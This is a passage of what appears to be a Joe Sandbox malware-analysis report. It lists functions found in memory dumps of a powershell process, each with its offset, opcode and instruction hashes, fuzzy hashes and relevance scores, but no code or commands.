Source File: 00000004.00000002.2161370987.0000000007CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ce0000_powershell.jbxd

Similarity

API ID:
String ID: 4'jq$4'jq$4'jq$4'jq
API String ID: 0-4000621977
Opcode ID: 51d4b4fb1f5c280450358fd2eb79b5bfa9976591f27935aacf8fa1d83486247b
Instruction ID: d4fd15865f9b62741c2dae01142cc287d655dc217933cfe3c71421b433f60eaa
Opcode Fuzzy Hash: 51d4b4fb1f5c280450358fd2eb79b5bfa9976591f27935aacf8fa1d83486247b
Instruction Fuzzy Hash: CB1238B17042868FCB259B79985067BBBAA9FC1310F1480BAE905CF292DF35DF45C7A1

Function 04EF6FE0 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

(nq, xrefs: 04EF7105

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: (nq
API String ID: 0-2756854522
Opcode ID: c052d830ce0dc8de2adf3579d2953f8a1b1e33172faaff6c46b7950c33014d65
Instruction ID: f7dc05b6c255b4f1b53a6af228921b9e150960062ed353fea11b4fd883257c48
Opcode Fuzzy Hash: c052d830ce0dc8de2adf3579d2953f8a1b1e33172faaff6c46b7950c33014d65
Instruction Fuzzy Hash: 42414F34B041048FDB15CFA8C858AAABBF1EF8D314F145098D946EB391DB35ED01CB61

Function 04EFAFA8 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

(&jq, xrefs: 04EFAFCA

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID: (&jq
API String ID: 0-3222446104
Opcode ID: d9a30cf65c8d7e06341c55662f509008f1e72504f2cb1d56a51665747d0905a9
Instruction ID: 0cdb756e7bf897607ee64be37327026a6edd0dd7e3d3bdd39a0baa2f017b32d1
Opcode Fuzzy Hash: d9a30cf65c8d7e06341c55662f509008f1e72504f2cb1d56a51665747d0905a9
Instruction Fuzzy Hash: 4921AE71A042588FCB14DFAED804BAFBFF5EB89320F14846AD518A7340CB74A9058BA5

Function 04EF29F0 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 825ac2501aa4b8102c71bf611136d77daa5327d85f019615e14a3e458cbe7548
Instruction ID: 7b1365978969a86b1f65fd34aae3acbda9a94952a5fe237f0bdf29a5efe1fc8f
Opcode Fuzzy Hash: 825ac2501aa4b8102c71bf611136d77daa5327d85f019615e14a3e458cbe7548
Instruction Fuzzy Hash: F3918C74A00605CFCB15CF58C9949AEFBB1FF88310B248699DA55AB3A5C736FC91CB90

Function 04EF7740 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2a668bca3f1a04d23a383ca1675d6ea35bdd95c74d283c927c7fdc3514ae990
Instruction ID: 3e2cd30dd1e9d6e750892736ede0cbd3dc5e268047f6f3309ccf2177a008e1d0
Opcode Fuzzy Hash: d2a668bca3f1a04d23a383ca1675d6ea35bdd95c74d283c927c7fdc3514ae990
Instruction Fuzzy Hash: 4B51E3313042558FD704DB69DC44A6A7BEAFFC9219B2584A9D509CB352EB31EC01CBA0

Function 04EFBAD0 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7317a4346b67e0cc596aa5cc4993cea0514a172a2b5890452b4ff261965cdb7
Instruction ID: f1e77e434f40c0509da5d6501fa9a2d43769c1fecbfa629e90ac30b0cbad3d2b
Opcode Fuzzy Hash: e7317a4346b67e0cc596aa5cc4993cea0514a172a2b5890452b4ff261965cdb7
Instruction Fuzzy Hash: A2612671E00208CFDB14DFA9C984A9DBBF5EF88314F14816AE918AB354EB34AC41CB60

Function 04EFBAC0 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ae9c181aa293b160308a61186444a05ac79d643c4ce11b3f7338c7371acf210
Instruction ID: 79c7be473806ad5942a1056b4e721739c8b79522b93999bfa10fa62640d3cf41
Opcode Fuzzy Hash: 2ae9c181aa293b160308a61186444a05ac79d643c4ce11b3f7338c7371acf210
Instruction Fuzzy Hash: 25513B71E00248DFDB14DFA9D984A9DFBF5FF88310F14806AE919AB364EB34A845CB50

Function 07CE3CE6 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2161370987.0000000007CE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07CE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ce0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0688c9451a85ef378bc797fff010870c7a341fac93c33f21eedf506bc5afa36
Instruction ID: 88fc7b99dedc99ad318d2e8126c0f43daee717abeaf396be4433fb767e39afa6
Opcode Fuzzy Hash: c0688c9451a85ef378bc797fff010870c7a341fac93c33f21eedf506bc5afa36
Instruction Fuzzy Hash: 4831D5F0A14282DBCB358E29C58067A77EBAF84704F1580A5D9049F256DB35FF45CBB1

Function 04EF2B00 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29aecdc418af4122cc627bf87459fe195eb95d0ff918e761dba490fe3e883cd5
Instruction ID: a6d9eaed8198bd23602040b5f388a60b13b16e249193c968e062931862bf9f0a
Opcode Fuzzy Hash: 29aecdc418af4122cc627bf87459fe195eb95d0ff918e761dba490fe3e883cd5
Instruction Fuzzy Hash: 9E413874A00505DFCB05CF58C9989AEFBB1FF48314B258599DA19AB368D732FC91CBA0

Function 04EFC398 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7ef5bb9995fd08a55c522978efad71d6c754c90a712accbbc4fd840931859f0
Instruction ID: 65dd5b6652dff1a71a8d1faf126308e0f4fc603132df5639c48d471afbec276c
Opcode Fuzzy Hash: b7ef5bb9995fd08a55c522978efad71d6c754c90a712accbbc4fd840931859f0
Instruction Fuzzy Hash: B2319E313016019FD709EB78E844F9AB7AAEFC4215F108639D609CB3A5DF74A805CBA1

Function 04EF6FD1 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ed3c831738291dddb2dc97a14a3f1ccb3a39c7c1c6de02d6723cedeb54a9675
Instruction ID: dfd82634dfda1eba00eedb0aa0a702b9be99ae8cdd5a56e81fcfd22f5e44d405
Opcode Fuzzy Hash: 4ed3c831738291dddb2dc97a14a3f1ccb3a39c7c1c6de02d6723cedeb54a9675
Instruction Fuzzy Hash: 19311E34B001058FCB15CFA9C898AAABBF1EF8D315F1450A8D946AB3A1DB31ED01CB61

Function 04EFAE70 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b742bbce7a175d7b1c6c1a984409cd8b0b1f8f9545a413eaec72762fa367bff6
Instruction ID: f0fc1b2926810699a2de494306eabb91e935b00d345ebf75526da7b288cf6b91
Opcode Fuzzy Hash: b742bbce7a175d7b1c6c1a984409cd8b0b1f8f9545a413eaec72762fa367bff6
Instruction Fuzzy Hash: DB317070E012098FDB08DFA9D8946AE7BF2EF88304F149029E509EB364EB345C418B55

Function 04EFAE80 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92ce472af81e3f3484975b718dd006c17767c32040756548f767ef4d8835884b
Instruction ID: 854c1bc1ae7034d859b57ec6149f3abcd5e7ef11d45c80baae16754323b3c81e
Opcode Fuzzy Hash: 92ce472af81e3f3484975b718dd006c17767c32040756548f767ef4d8835884b
Instruction Fuzzy Hash: EC313070A012099FDB08DFA9D9947AEBBF6EF88314F149039E509EB354EB349C418B65

Function 04EFE209 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4678f0bfceacf3764aa88b03883c8733196baeebb16d991bf7925ca48d7a1e2
Instruction ID: 0593986fafd8cbc34d79e6705a82508cb4ed04293abc990e6965a96044fabc2b
Opcode Fuzzy Hash: c4678f0bfceacf3764aa88b03883c8733196baeebb16d991bf7925ca48d7a1e2
Instruction Fuzzy Hash: 08312770B002049FDB18DFA9D458AADBBF2EF88314F144569D906EB3A1DB75AC44CB91

Function 04EFAD38 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42b5fa09037f8e49bf2aecb557bb3d8bdda836a17f78293d03dd2dfda46103e4
Instruction ID: f957cdeb153bcc3f205832675e3fd978688d90b3a6569e9d655b998992b8c6ca
Opcode Fuzzy Hash: 42b5fa09037f8e49bf2aecb557bb3d8bdda836a17f78293d03dd2dfda46103e4
Instruction Fuzzy Hash: 333150B4B402099FEB04DFA8D854ABE7BB6EFC4304F158478D515AB3A5CA38AD45CF60

Function 04EFE218 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddea79c1128869ab678ca118777a5ea971df7e11068c298a61251dfa1f7e6e16
Instruction ID: 0290f3c7b4fd9a977049df59ba3c224aea44c29bd1caf5cf8211d48dd48c25b4
Opcode Fuzzy Hash: ddea79c1128869ab678ca118777a5ea971df7e11068c298a61251dfa1f7e6e16
Instruction Fuzzy Hash: 79312B71B002048FDB18DFA9D458AAEBBF6EF88714F144529D506E73A0DF75AC41CB91

Function 04EFAD48 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2be7ceeba31cc67c65cf402e9f95a39b3bb21c75cec59ae787558dab915b35c6
Instruction ID: 52394bff7d36b64083aacc91c740c7a5bfb7ea8b2604a379e7b4c7ee9fe30e3d
Opcode Fuzzy Hash: 2be7ceeba31cc67c65cf402e9f95a39b3bb21c75cec59ae787558dab915b35c6
Instruction Fuzzy Hash: 603144B4B402099FEB04EFA8D854ABE77B6EFC4304F118479D615AB394DE39AD418F60

Function 04D4F3D8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2132739940.0000000004D4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4d4d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5195edbf643a1196e85dfdb57616d4fb0f7bcb404e4cb2e2bff8535ba11d50ed
Instruction ID: ff9cb6c36b2ccf680eec1d73acdb8b9e0fcd7e12be602cd0951af1bd9c931d9e
Opcode Fuzzy Hash: 5195edbf643a1196e85dfdb57616d4fb0f7bcb404e4cb2e2bff8535ba11d50ed
Instruction Fuzzy Hash: 9021D175600200EFCB05CF64D9C0B26BB65FB88314F24C5ADE9490A266C73AE456DBA1

Function 04EF9400 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6682ef6d7fb86f1db6e34e7d795fdff5108bbab3d9347f6bf55e07971b732e4b
Instruction ID: f9180bd0b29f06d8b5b2c764c36ea26fb95ffc00f3435e2498eb00b4a64d72eb
Opcode Fuzzy Hash: 6682ef6d7fb86f1db6e34e7d795fdff5108bbab3d9347f6bf55e07971b732e4b
Instruction Fuzzy Hash: 8B319CB0A053448EDB60CF6AD4887DAFFF2EF99314F28C45EC98D97206D6746485CB61

Function 04EFE160 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14b8ff0ebd74919cb549f4d81ec5458860deda26f419c86ba15a130efa5b63d1
Instruction ID: 66d927beeba9312d7086d28007cf65b65bbc15d38b8acfea64ea72e31258ea0c
Opcode Fuzzy Hash: 14b8ff0ebd74919cb549f4d81ec5458860deda26f419c86ba15a130efa5b63d1
Instruction Fuzzy Hash: FF219F35705240CFCB119F78E848AAABBF1FF89315B1484AEE509DB322C671EC06CB50

Function 04D4F02C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2132739940.0000000004D4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4d4d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 363b25bdb7c9c7df2accf51b776b3231cceb99ff2a5f1e387237664da6bb9636
Instruction ID: 59e59d1a4d390578c462430369be20109cd56431dc5d887cb393bad46974d98d
Opcode Fuzzy Hash: 363b25bdb7c9c7df2accf51b776b3231cceb99ff2a5f1e387237664da6bb9636
Instruction Fuzzy Hash: 10210475704244DFCB14DF24D9C0B26BFA5FBC8314F24C56DDA4A4B266C37AE446CA62

Function 04EF9410 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de8601d37f31aca6f24e133c99248788c7a877b10184c7221eff360d6968c61c
Instruction ID: a39a3ea2db30cf9ad64fd9c74de310b685696e4dc7cd2eba5f0f9103fbcaa666
Opcode Fuzzy Hash: de8601d37f31aca6f24e133c99248788c7a877b10184c7221eff360d6968c61c
Instruction Fuzzy Hash: 18218DB0A013448EDB60CF6AC48878AFBF2EB98314F28C01ED98D97206D77464808B60

Function 04EF767C Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eda8fe61a7757e538d5d3f7f07b00d1cc77bb658da32fee573b981eebf861376
Instruction ID: 5184787119beb00ae9d22756848da6178a46bd815c6040efd20b359d2fa0aacf
Opcode Fuzzy Hash: eda8fe61a7757e538d5d3f7f07b00d1cc77bb658da32fee573b981eebf861376
Instruction Fuzzy Hash: AB112B75B001188FCB04DFADE944ADD77F6EFC8225B0540A9E909DB325DB35EC168BA1

Function 04D4F3D3 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2132739940.0000000004D4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4d4d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 057d58c605ff61dcea1d2f362fa95e4b0c0d59dde82fc64a3d1dc629ed531e57
Instruction ID: 0dc251d3cc2e00e5b5ad78bc0c1744ffe8eb6d45b44d64c0376523bde24c1faf
Opcode Fuzzy Hash: 057d58c605ff61dcea1d2f362fa95e4b0c0d59dde82fc64a3d1dc629ed531e57
Instruction Fuzzy Hash: F2219D76504240DFCF06CF10D9C4B16BF72FB88314F24C5ADD9494A666C33AD46ACBA1

Function 04D4F027 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2132739940.0000000004D4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4d4d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c630ef97dc4b8389091dc56a6dd1508d93e44345cafe45a147f51fb8e987ca5
Instruction ID: 6d1a3084539fbdca85d9be6dec6aaf28065c3a67d892622317f0d431c8587ffa
Opcode Fuzzy Hash: 1c630ef97dc4b8389091dc56a6dd1508d93e44345cafe45a147f51fb8e987ca5
Instruction Fuzzy Hash: 20119D75604280DFDB16CF14D5C4B15BFA1FB84324F28C6AED9494B666C33AE44ACB62

Function 04EFBCF0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf21ebb293a3b6d34c61117d5b2962c0b64329a2cfd79f6049867c9ed7655bb9
Instruction ID: cfc3406e09a2a7b8833363aaea0bd9e197fa945decf7863c32bb94bbbcc6656a
Opcode Fuzzy Hash: cf21ebb293a3b6d34c61117d5b2962c0b64329a2cfd79f6049867c9ed7655bb9
Instruction Fuzzy Hash: 0C01D6313087849FD715DB79D954A9A7FF0EF46210F1948EED58DCB6A2CA21F844C701

Function 04EFE0E0 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aafb299ed9ce54c172d9e65acfb0370cd804d20cd1d4e36443f693c16ce6371a
Instruction ID: 57d68bfdf314194ab6d213fbc69a852c8f190dc08354ee084c0b894157e6e291
Opcode Fuzzy Hash: aafb299ed9ce54c172d9e65acfb0370cd804d20cd1d4e36443f693c16ce6371a
Instruction Fuzzy Hash: 450192357052149FCB15AFB4E808AAEBBF5FBC8315F00407DE50AD3252DB32A901CB90

Function 04EFDE58 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f9129d49c3bbc49bc682344cadc5d55a047549588935ac4fc49b9e259a49ab1
Instruction ID: 12e3a72916144fbc94554dcfa297352d2eb33520f37453790b4d4a164ddbe7f8
Opcode Fuzzy Hash: 6f9129d49c3bbc49bc682344cadc5d55a047549588935ac4fc49b9e259a49ab1
Instruction Fuzzy Hash: BF111B34204754CFC728DF75D48485ABBF6EF8A31536089ADD48A877A1DB36F841CB50

Function 04EFBF20 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b813f206ac981a92e78f6fb477848f991358cf248e732eef6526def3b902346
Instruction ID: 7609511473c34574d3674bf31bbadc11bfe39564dac31af5a7f0b1cd9277a03d
Opcode Fuzzy Hash: 5b813f206ac981a92e78f6fb477848f991358cf248e732eef6526def3b902346
Instruction Fuzzy Hash: 8AF0813130A3909FD7118A799C549B67FE9DF8661071945AAF484CB262C671CC088760

Function 04D4D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2132739940.0000000004D4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4d4d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c836fc56b6cdb3facb8b8e378d9458ec01b12e945b0afd4302b05e05fb7ef786
Instruction ID: ff209964f515738c0f99da9ae85a6d3ef36417f13e89f582c6198a5c2b1df552
Opcode Fuzzy Hash: c836fc56b6cdb3facb8b8e378d9458ec01b12e945b0afd4302b05e05fb7ef786
Instruction Fuzzy Hash: 2701DB716053449FD7208E25DD84B67FF9CEFC5324F18C52AED881B246D279E841D6B1

Function 04D4D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2132739940.0000000004D4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4d4d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fef21bd054926ac00afdb3c87c40430d38260aedd1656137790a8309d3d1eda0
Instruction ID: 496c4ff7b3bf662ed50a78669c6761caf08da106ffad83e3ec5fff12317f63db
Opcode Fuzzy Hash: fef21bd054926ac00afdb3c87c40430d38260aedd1656137790a8309d3d1eda0
Instruction Fuzzy Hash: F2015E7110E3C09FD7128B259894B52BFB8EF43224F1DC1DBE9888F2A3C2695849C772

Function 04EF7958 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 878be4226a5170e02e0e05e15f6198315f6e92564c600d938476c8c245ae484d
Instruction ID: 483855ffaa253f0d829498d297fce3fb15f3772b746467314de08adffbc139f1
Opcode Fuzzy Hash: 878be4226a5170e02e0e05e15f6198315f6e92564c600d938476c8c245ae484d
Instruction Fuzzy Hash: AAF0C23130A7449FC7119B69D844A6F7FE9EF8A26470106AEE149CB362DF74AC05C7A1

Function 04D4D8D3 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2132739940.0000000004D4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4d4d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3718b7e47980d2313268eb863e0ba2c8d2150332874f8a01fab827ac66011cc
Instruction ID: 787738c5d031c807daa45448439afaf7098cae4b04da6aaffabe6fe1be70246e
Opcode Fuzzy Hash: e3718b7e47980d2313268eb863e0ba2c8d2150332874f8a01fab827ac66011cc
Instruction Fuzzy Hash: DCF0F976200600AF97208F0AD984C27FBADFFD4770319C55AE94A4B622C671FC42CEA0

Function 04EFE081 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92838ad1a1f06fdba5467f604db680ce24f47f64ac8c4f7ba94bbb3653eaaafe
Instruction ID: 9b9f0af3d2ce4414c654230c7631084aba710e20feee9f8289258290547d45d6
Opcode Fuzzy Hash: 92838ad1a1f06fdba5467f604db680ce24f47f64ac8c4f7ba94bbb3653eaaafe
Instruction Fuzzy Hash: 6CF05E357056818FC3119B2CD854865BFF6AFCA21531A11EAE585DF732CA62EC05C791

Function 04EF90E8 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 194871dbb27b28bd47ba641d10b6863d83d5d8f131479ece13aae4cb0f38b0ef
Instruction ID: 09c10ed9ed3a6de0bbfaead055ae54d37ff27c4aa9c82e7214443c5b04144578
Opcode Fuzzy Hash: 194871dbb27b28bd47ba641d10b6863d83d5d8f131479ece13aae4cb0f38b0ef
Instruction Fuzzy Hash: C7F02B317042458FE705AB68C0193EB7BA1EFC1318F14859FC45A9B395CE3E2806CBB1

Function 04D4D8C4 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2132739940.0000000004D4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4d4d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea9d214c164933248f01d3248e8d89515af3a4a1f0840aed82ee992abffad624
Instruction ID: e17a5c746a0caa94668b6be94a497fee9f13afdf399166e26f15d0f28fd8993c
Opcode Fuzzy Hash: ea9d214c164933248f01d3248e8d89515af3a4a1f0840aed82ee992abffad624
Instruction Fuzzy Hash: 35F0F975100680AFD725CF06C984D23BBBAFBD9720B198589A89A5B712C631FC42CF60

Function 04EF7968 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2133403796.0000000004EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4ef0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25ae38666e6050cb0b0c8dc77ff45263e399a965235ce6204c6befa014b9b3c2
Instruction ID: 0743ad1cc36ba363994f6fa94cef94d45c68e072e33c5824af48177c5bd267ad
Opcode Fuzzy Hash: 25ae38666e6050cb0b0c8dc77ff45263e399a965235ce6204c6befa014b9b3c2
Instruction Fuzzy Hash: 4EF082317006149FD7149B59E844A6F77E9EB88265B00062DE209C3341DF30AD0187A0

Function 04EFDECF Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

